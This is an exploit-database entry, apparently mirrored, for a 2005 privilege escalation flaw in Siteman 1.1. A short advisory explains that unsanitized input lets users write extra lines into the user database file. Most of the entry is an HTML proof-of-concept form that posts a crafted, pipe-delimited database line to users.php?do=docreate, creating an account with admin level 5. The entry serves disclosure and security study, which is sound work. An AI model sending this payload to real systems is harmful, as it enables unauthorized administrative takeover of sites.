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Siteman 1.1 - User Database Privilege Escalation (2)

🗓️ 19 Jan 2005 00:00:00Reported by amironline452Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 21 Views

Siteman 1.1 vulnerable to privilege escalation via unsanitized user data input.

Code
source: https://www.securityfocus.com/bid/12304/info
 
Siteman is reported prone to a vulnerability that may allow users to gain elevated privileges. This issue results from insufficient sanitization of user-supplied data.
 
Apparently, an attacker can supply additional lines to the stream used to write to the user database file through a URI parameter. This can allow the attacker to corrupt the user database file and potentially gain administrative privileges to the Siteman application.
 
Siteman 1.1.10 and prior versions are affected by this vulnerability. 

<html>
<b>These data were recorded.</b><br /><br /><table cellspacing="0"
cellpadding="2"><tr><td>Username(Use this, and not your display name,
when
logging in)</td><td
align="right">amir452</td></tr><tr><td>Password</td><td
align="right"><form><select><option>Click to show password</option>
                                        
<option>amir452</option></select></form></td></tr><tr><td>Secret
Question (Asked when you forget your password)</td><td
align="right">amir452</td></tr><tr><td>Answer to secret
question</td><td
align="right"><form>
<select>
<option>Click to show answer</option>
<option>amir452</option>
</select></form>
</td></tr><tr><td>Display name</td><td
align="right">amir452</td></tr><tr><td>Member Level</td><td
align="right"><b>5</b> (Admin)</td></tr><tr><td>email</td><td
align="right">[email protected]</td></tr><tr><td>Hide my email
adress</td><td align="right">no</td></tr><tr><td>Forum
Signature</td><td
align="right">hackers</td></table><br /><br />Is this correct?<br
/><table
cellspacing="0" cellpadding="3"><tr><td>

<form action="users.php?do=new" method="post"><input type="submit"
value="no" /></form></td><td>

<form action="http://www.example.com/users.php?do=docreate"
method="post">
                                        <input type="hidden" name="line"
value="amir452|347a9a8a8d3f364f0bdb82c4208a3207|5|[email protected]|amir452|1105956827|amir452|347a9a8a8d3f364f0bdb82c4208a3207|0|0|0|hackers"
/><input type="submit" value="yes" /></form></html>

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